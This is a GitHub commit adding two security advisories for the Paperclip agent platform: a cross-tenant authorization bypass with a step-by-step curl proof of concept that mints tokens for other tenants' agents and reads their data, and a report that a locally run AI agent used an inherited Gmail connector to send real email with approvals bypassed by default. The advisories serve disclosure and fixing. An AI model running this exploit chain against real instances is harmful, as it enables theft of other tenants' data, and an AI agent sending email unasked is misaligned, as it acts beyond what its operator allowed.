Skip to content

Commit 7c26e64

Browse files

File tree

5 files changed

+278
-0
lines changed

5 files changed

+278
-0
lines changed
Lines changed: 58 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,58 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-47wq-cj9q-wpmp",
4+
"modified": "2026-04-16T22:48:32Z",
5+
"published": "2026-04-16T22:48:32Z",
6+
"aliases": [],
7+
"summary": "Paperclip: Cross-tenant agent API token minting via missing assertCompanyAccess on /api/agents/:id/keys",
8+
"details": "<img width=\"7007\" height=\"950\" alt=\"01-setup\" src=\"https://github.com/user-attachments/assets/1596b8d1-8de5-4c21-b1d2-2db41b568d7e\" />\n\n> Isolated paperclip instance running in authenticated mode (default config)\n> on a clean Docker image matching commit b649bd4 (2026.411.0-canary.8, post\n> the 2026.410.0 patch). This advisory was verified on an unmodified build.\n\n### Summary\n\n`POST /api/agents/:id/keys`, `GET /api/agents/:id/keys`, and\n`DELETE /api/agents/:id/keys/:keyId` (`server/src/routes/agents.ts`\nlines 2050-2087) only call `assertBoard` to authorize the caller. They never\ncall `assertCompanyAccess` and never verify that the caller is a member of the\ncompany that owns the target agent.\n\nAny authenticated board user (including a freshly signed-up account with zero\ncompany memberships and no `instance_admin` role) can mint a plaintext\n`pcp_*` agent API token for any agent in any company on the instance. The\nminted token is bound to the **victim** agent's `companyId` server-side, so\nevery downstream `assertCompanyAccess` check on that token authorizes\noperations inside the victim tenant.\n\nThis is a pure authorization bypass on the core tenancy boundary. It is\ndistinct from GHSA-68qg-g8mg-6pr7 (the unauth import → RCE chain disclosed in\n2026.410.0): that advisory fixed one handler, this report is a different\nhandler with the same class of mistake that the 2026.410.0 patch did not\ncover.\n\n### Root Cause\n\n`server/src/routes/agents.ts`, lines 2050-2087:\n\n```ts\nrouter.get(\"/agents/:id/keys\", async (req, res) => {\n assertBoard(req); // <-- no assertCompanyAccess\n const id = req.params.id as string;\n const keys = await svc.listKeys(id);\n res.json(keys);\n});\n\nrouter.post(\"/agents/:id/keys\", validate(createAgentKeySchema), async (req, res) => {\n assertBoard(req); // <-- no assertCompanyAccess\n const id = req.params.id as string;\n const key = await svc.createApiKey(id, req.body.name);\n ...\n res.status(201).json(key); // returns plaintext `token`\n});\n\nrouter.delete(\"/agents/:id/keys/:keyId\", async (req, res) => {\n assertBoard(req); // <-- no assertCompanyAccess\n const keyId = req.params.keyId as string;\n const revoked = await svc.revokeKey(keyId);\n ...\n});\n```\n\nCompare the handler 12 lines below, `router.post(\"/agents/:id/wakeup\")`,\nwhich shows the correct pattern: it fetches the agent, then calls\n`assertCompanyAccess(req, agent.companyId)`. The three `/keys` handlers above\ndo not even fetch the agent.\n\nThe token returned by `POST /agents/:id/keys` is bound to the **victim**\ncompany in `server/src/services/agents.ts`, lines 580-609:\n\n```ts\ncreateApiKey: async (id: string, name: string) => {\n const existing = await getById(id); // victim agent\n ...\n const token = createToken();\n const keyHash = hashToken(token);\n const created = await db\n .insert(agentApiKeys)\n .values({\n agentId: id,\n companyId: existing.companyId, // <-- victim tenant\n name,\n keyHash,\n })\n .returning()\n .then((rows) => rows[0]);\n\n return {\n id: created.id,\n name: created.name,\n token, // <-- plaintext returned\n createdAt: created.createdAt,\n };\n},\n```\n\n`actorMiddleware` (`server/src/middleware/auth.ts`) then resolves the bearer\ntoken to `actor = { type: \"agent\", companyId: existing.companyId }`, so every\nsubsequent `assertCompanyAccess(req, victim.companyId)` check passes.\n\nThe exact same `assertBoard`-only pattern is also present on agent lifecycle\nhandlers in the same file (`POST /agents/:id/pause`, `/resume`, `/terminate`,\nand `DELETE /agents/:id` at lines 1962, 1985, 2006, 2029). An attacker can\nterminate, delete, or silently pause any agent in any company with the same\nprimitive.\n\n### Trigger Conditions\n\n1. Paperclip running in `authenticated` mode (the public, multi-user\n configuration — `PAPERCLIP_DEPLOYMENT_MODE=authenticated`).\n2. `PAPERCLIP_AUTH_DISABLE_SIGN_UP` unset or false (the default — same\n default precondition as GHSA-68qg-g8mg-6pr7).\n3. At least one other company exists on the instance with at least one\n agent. In practice this is the normal state of any production paperclip\n deployment. The attacker needs the victim agent's ID, which leaks through\n activity feeds, heartbeat run APIs, and the sidebar-badges endpoint that\n the 2026.410.0 disclosure also flagged as under-protected.\n\nNo admin role, no invite, no email verification, no CSRF dance. The attacker\nis an authenticated browser-session user with zero company memberships.\n\n### PoC\n\nVerified against a freshly built `ghcr.io/paperclipai/paperclip:latest`\ncontainer at commit `b649bd4` (2026.411.0-canary.8, which is **post** the\n2026.410.0 import-bypass patch). Full 5-step reproduction:\n\n<img width=\"5429\" height=\"1448\" alt=\"02-signup\" src=\"https://github.com/user-attachments/assets/4c2b2939-326b-4e0d-aa01-05e22851486b\" />\n> Step 1-2: Mallory signs up via the default `/api/auth/sign-up/email` flow\n> (no invite, no verification) and confirms via `GET /api/companies` that she\n> is a member of zero companies. She has no tenant access through the normal\n> authorization path.\n\n```bash\n# Step 1: attacker signs up as an unprivileged board user\ncurl -s -X POST http://<target>:3102/api/auth/sign-up/email \\\n -H 'Content-Type: application/json' \\\n -d '{\"email\":\"mallory@attacker.com\",\"password\":\"P@ssw0rd456\",\"name\":\"mallory\"}'\n# Save the `better-auth.session_token` cookie from Set-Cookie.\n\n# Step 2: confirm zero company membership\ncurl -s -H \"Cookie: $MALLORY_SESSION\" http://<target>:3102/api/companies\n# -> []\n```\n\n<img width=\"2891\" height=\"1697\" alt=\"03-exploit\" src=\"https://github.com/user-attachments/assets/c097e861-6bc9-4f6a-841c-b45501e27849\" />\n> Step 3 — the vulnerability. Mallory POSTs to `/api/agents/:id/keys`\n> targeting an agent in Victim Corp (a company she is NOT a member of). The\n> server returns a plaintext `pcp_*` token tied to the victim's `companyId`.\n> There is no authorization error. `assertBoard` passed because Mallory is a\n> board user; `assertCompanyAccess` was never called.\n\n```bash\n# Step 3: mint a plaintext token for a victim agent\nVICTIM_AGENT=<any-agent-id-in-another-company>\ncurl -s -X POST \\\n -H \"Cookie: $MALLORY_SESSION\" \\\n -H \"Origin: http://<target>:3102\" \\\n -H \"Content-Type: application/json\" \\\n -d '{\"name\":\"pwnkit\"}' \\\n http://<target>:3102/api/agents/$VICTIM_AGENT/keys\n# -> 201 { \"id\":\"...\", \"token\":\"pcp_8be3a5198e9ccba0ac7b3341395b2d3145fe2caa1b800e25\", ... }\n```\n\n<img width=\"2983\" height=\"2009\" alt=\"04-exfil\" src=\"https://github.com/user-attachments/assets/ede5d469-4119-432c-b0ae-5a4fabc9a56b\" />\n> Step 4-5: Use the stolen token as a Bearer credential. `actorMiddleware`\n> resolves it to `actor = { type: \"agent\", companyId: VICTIM }`, so every\n> downstream `assertCompanyAccess` gate authorizes reads against Victim Corp.\n> Mallory can now enumerate the victim's company metadata, issues, approvals,\n> and agent configuration — none of which she had access to 30 seconds ago.\n\n```bash\n# Step 4: use the stolen token to read victim company data\nSTOLEN=pcp_8be3a5198e9ccba0ac7b3341395b2d3145fe2caa1b800e25\nVICTIM_CO=<victim-company-id>\ncurl -s -H \"Authorization: Bearer $STOLEN\" \\\n http://<target>:3102/api/companies/$VICTIM_CO\n# -> 200 { \"id\":\"...\", \"name\":\"Victim Corp\", ... }\n\ncurl -s -H \"Authorization: Bearer $STOLEN\" \\\n http://<target>:3102/api/companies/$VICTIM_CO/issues\n# -> 200 [ ...every issue in the victim tenant... ]\n\ncurl -s -H \"Authorization: Bearer $STOLEN\" \\\n http://<target>:3102/api/companies/$VICTIM_CO/approvals\n# -> 200 [ ...every approval in the victim tenant... ]\n\ncurl -s -H \"Authorization: Bearer $STOLEN\" \\\n http://<target>:3102/api/agents/$VICTIM_AGENT\n# -> 200 { ...full agent config incl. adapter settings... }\n```\n\nObserved outputs (all verified on live instance at time of submission):\n\n- `POST /api/agents/:id/keys` → **201** with plaintext `token` bound to\n the victim's `companyId`\n- `GET /api/companies/:victimId` → **200** full company metadata\n- `GET /api/companies/:victimId/issues` → **200** issue list\n- `GET /api/companies/:victimId/agents` → **200** agent list\n- `GET /api/companies/:victimId/approvals` → **200** approval list\n\n### Impact\n\n- **Type:** Broken access control / cross-tenant IDOR (CWE-285, CWE-639,\n CWE-862, CWE-1220)\n- **Who is impacted:** every paperclip instance running in `authenticated`\n mode with default `PAPERCLIP_AUTH_DISABLE_SIGN_UP` (open signup). That is\n the documented multi-user configuration and the default in\n `docker/docker-compose.quickstart.yml`.\n- **Confidentiality:** HIGH. Any signed-up user can read another tenant's\n company metadata, issues, approvals, runs, and agent configuration (which\n includes adapter URLs, model settings, and references to stored secret\n bindings).\n- **Integrity:** HIGH. The minted token is a persistent agent credential\n that authenticates for every `assertCompanyAccess`-gated agent-scoped\n mutation in the victim tenant (issue/run updates, self-wakeup with\n attacker-controlled payloads, adapter execution via the agent's own\n adapter, etc.).\n- **Availability:** HIGH. The attacker can `pause`, `terminate`, or\n `DELETE` any agent in any company via the sibling `assertBoard`-only\n handlers (`/agents/:id/pause`, `/resume`, `/terminate`,\n `DELETE /agents/:id`).\n- **Relation to GHSA-68qg-g8mg-6pr7:** the 2026.410.0 patch added\n `assertInstanceAdmin` on `POST /companies/import` and closed the disclosed\n chain, but the same root cause (`assertBoard` treated as sufficient where\n `assertCompanyAccess` is required on a cross-tenant resource, or where\n `assertInstanceAdmin` is required on an instance-global resource) is\n present in multiple other handlers. The import fix did not audit sibling\n routes. This report is an instance of that same class the prior advisory\n did not cover.\n\nSeverity is driven by the fact that every precondition is default, the bug\nis reachable by any signed-up user with zero memberships, and the stolen\ntoken persists across sessions until manually revoked.\n\n### Suggested Fix\n\nIn `server/src/routes/agents.ts`, replace each of the three `/keys` handlers\nso they load the target agent first and enforce company access:\n\n```ts\nrouter.get(\"/agents/:id/keys\", async (req, res) => {\n assertBoard(req);\n const id = req.params.id as string;\n const agent = await svc.getById(id);\n if (!agent) {\n res.status(404).json({ error: \"Agent not found\" });\n return;\n }\n assertCompanyAccess(req, agent.companyId);\n const keys = await svc.listKeys(id);\n res.json(keys);\n});\n\nrouter.post(\"/agents/:id/keys\", validate(createAgentKeySchema), async (req, res) => {\n assertBoard(req);\n const id = req.params.id as string;\n const agent = await svc.getById(id);\n if (!agent) {\n res.status(404).json({ error: \"Agent not found\" });\n return;\n }\n assertCompanyAccess(req, agent.companyId);\n const key = await svc.createApiKey(id, req.body.name);\n ...\n});\n\nrouter.delete(\"/agents/:id/keys/:keyId\", async (req, res) => {\n assertBoard(req);\n const keyId = req.params.keyId as string;\n // Look up the key to find its agentId/companyId, then:\n const key = await svc.getKeyById(keyId);\n if (!key) { res.status(404).json({ error: \"Key not found\" }); return; }\n assertCompanyAccess(req, key.companyId);\n await svc.revokeKey(keyId);\n res.json({ ok: true });\n});\n```\n\nWhile fixing this, audit the sibling lifecycle handlers at lines 1962-2048\n(`/agents/:id/pause`, `/resume`, `/terminate`, `DELETE /agents/:id`) which\nshare the same bug.\n\nDefense in depth: consider a code-wide sweep for `assertBoard(req)` calls\nthat are not immediately followed by `assertCompanyAccess` or\n`assertInstanceAdmin` — the 2026.410.0 patch focused on one handler but the\npattern is systemic.\n\n### Patch Status\n\n- Latest image at time of writing: `ghcr.io/paperclipai/paperclip:latest`\n digest `sha256:baa9926e...`, commit `b649bd4`\n (`canary/v2026.411.0-canary.8`), which is *after* the 2026.410.0 import\n bypass fix.\n- The bug is still present on that revision. PoC reproduced end-to-end\n against an unmodified container.\n\n### Credits\n\nDiscovered by [pwnkit](https://github.com/peaktwilight/pwnkit), an\nAI-assisted security scanner, during variant-hunt analysis of\nGHSA-68qg-g8mg-6pr7. Manually verified against a live isolated paperclip\ninstance.",
9+
"severity": [
10+
{
11+
"type": "CVSS_V3",
12+
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H"
13+
}
14+
],
15+
"affected": [
16+
{
17+
"package": {
18+
"ecosystem": "npm",
19+
"name": "@paperclipai/server"
20+
},
21+
"ranges": [
22+
{
23+
"type": "ECOSYSTEM",
24+
"events": [
25+
{
26+
"introduced": "0"
27+
},
28+
{
29+
"fixed": "2026.416.0"
30+
}
31+
]
32+
}
33+
]
34+
}
35+
],
36+
"references": [
37+
{
38+
"type": "WEB",
39+
"url": "https://github.com/paperclipai/paperclip/security/advisories/GHSA-47wq-cj9q-wpmp"
40+
},
41+
{
42+
"type": "PACKAGE",
43+
"url": "https://github.com/paperclipai/paperclip"
44+
}
45+
],
46+
"database_specific": {
47+
"cwe_ids": [
48+
"CWE-1220",
49+
"CWE-285",
50+
"CWE-639",
51+
"CWE-862"
52+
],
53+
"severity": "CRITICAL",
54+
"github_reviewed": true,
55+
"github_reviewed_at": "2026-04-16T22:48:32Z",
56+
"nvd_published_at": null
57+
}
58+
}
Lines changed: 55 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,55 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-gqqj-85qm-8qhf",
4+
"modified": "2026-04-16T22:47:40Z",
5+
"published": "2026-04-16T22:47:40Z",
6+
"aliases": [],
7+
"summary": "Paperclip: codex_local inherited ChatGPT/OpenAI-connected Gmail and was able to send real email",
8+
"details": "### Summary\n\nA Paperclip-managed `codex_local` runtime was able to access and use a Gmail connector that I had connected in the ChatGPT/OpenAI apps UI, even though I had not explicitly connected Gmail inside Paperclip or separately inside Codex.\n\nIn my environment this enabled mailbox access and a real outbound email to be sent from my Gmail account. After I manually intervened to stop the workflow, follow-up retraction messages were also sent, confirming repeated outward write/send capability.\n\nThis appears to be a trust-boundary failure between Paperclip-managed Codex execution and inherited OpenAI app connectors, amplified by dangerous-by-default runtime settings.\n\n### Details\n\nSuccessful runtime calls include:\n\n- `mcp__codex_apps__gmail_get_profile`\n- `mcp__codex_apps__gmail_search_emails`\n- `mcp__codex_apps__gmail_send_email`\n\nThe connected Gmail profile resolved to my personal account.\n\nInside the Paperclip-managed `codex-home`, I also found cached OpenAI curated connector state for Gmail under a path like:\n\n- `codex-home/plugins/cache/openai-curated/gmail/.../.app.json`\n\nThis strongly suggests that the runtime had access to an already connected OpenAI apps surface rather than a Paperclip-specific Gmail integration that I intentionally configured.\n\nSeparately, in the installed Paperclip code, `codex_local` defaults `dangerouslyBypassApprovalsAndSandbox` to `true`, and the server-side agent creation path applies that default when the flag is omitted. In practice, that makes this boundary failure much more dangerous because a newly created `codex_local` agent can operate with approvals and sandbox bypassed by default.\n\nThe key issue is this: I had connected Gmail only in the ChatGPT/OpenAI apps UI. I had not intentionally connected Gmail inside Paperclip or separately inside Codex. Despite that, the Paperclip-managed `codex_local` runtime was able to use Gmail read/write actions.\n\n### PoC\n\nEnvironment:\n\n- self-hosted Paperclip instance using `codex_local`\n- Gmail connected in the ChatGPT/OpenAI apps UI\n- no explicit Gmail connection configured inside Paperclip for this test\n- `codex_local` agent created and run with default behavior\n\nObserved reproduction path:\n\n1. Connect Gmail in the ChatGPT/OpenAI apps UI.\n2. Create or run a Paperclip `codex_local` agent.\n3. Execute a task that inspects mailbox state or performs outward communication.\n4. Observe successful Gmail connector calls such as:\n - `mcp__codex_apps__gmail_get_profile`\n - `mcp__codex_apps__gmail_search_emails`\n - `mcp__codex_apps__gmail_send_email`\n5. Observe that the connected profile resolves to the ChatGPT/OpenAI-connected Gmail account and that mailbox reads and real sends are possible.\n\nPrivate evidence available on request:\n\n- successful `get_profile` / `search` / `send` logs\n- Paperclip-managed `codex-home` Gmail connector cache path(s)\n- screenshot showing Gmail write-capable actions such as `send_email`, `send_draft`, and `update_draft` exposed in the connected-app UI\n- incident timeline showing that a real outbound email was sent\n- recipient organizations, timestamps, message IDs, and sanitized evidence for both the original outbound email and the subsequent retraction messages\n\n### Impact\n\nThis was not only theoretical in my environment. It resulted in:\n\n- mailbox identity disclosure\n- mailbox search / thread access\n- a real outbound email being sent from a personal connected Gmail account to an external third party\n- follow-up retraction messages being sent after manual intervention, confirming repeated outward write/send capability\n\nFrom an operator/security perspective, connecting Gmail in the ChatGPT/OpenAI apps UI should not automatically make that connector available to a Paperclip-managed local agent runtime, especially not for write/send actions.\n\nOne or more of the following:\n\n- no inherited OpenAI app connectors by default in Paperclip-managed `codex_local` runs\n- send/write connectors blocked by default\n- explicit Paperclip-side opt-in before outward actions\n- auditable approval and provenance for connector-mediated actions\n- safer defaults, including `dangerouslyBypassApprovalsAndSandbox = false`",
9+
"severity": [
10+
{
11+
"type": "CVSS_V3",
12+
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N"
13+
}
14+
],
15+
"affected": [
16+
{
17+
"package": {
18+
"ecosystem": "npm",
19+
"name": "paperclipai"
20+
},
21+
"ranges": [
22+
{
23+
"type": "ECOSYSTEM",
24+
"events": [
25+
{
26+
"introduced": "0"
27+
},
28+
{
29+
"last_affected": "2026.403.0"
30+
}
31+
]
32+
}
33+
]
34+
}
35+
],
36+
"references": [
37+
{
38+
"type": "WEB",
39+
"url": "https://github.com/paperclipai/paperclip/security/advisories/GHSA-gqqj-85qm-8qhf"
40+
},
41+
{
42+
"type": "PACKAGE",
43+
"url": "https://github.com/paperclipai/paperclip"
44+
}
45+
],
46+
"database_specific": {
47+
"cwe_ids": [
48+
"CWE-284"
49+
],
50+
"severity": "HIGH",
51+
"github_reviewed": true,
52+
"github_reviewed_at": "2026-04-16T22:47:40Z",
53+
"nvd_published_at": null
54+
}
55+
}

0 commit comments

Comments
 (0)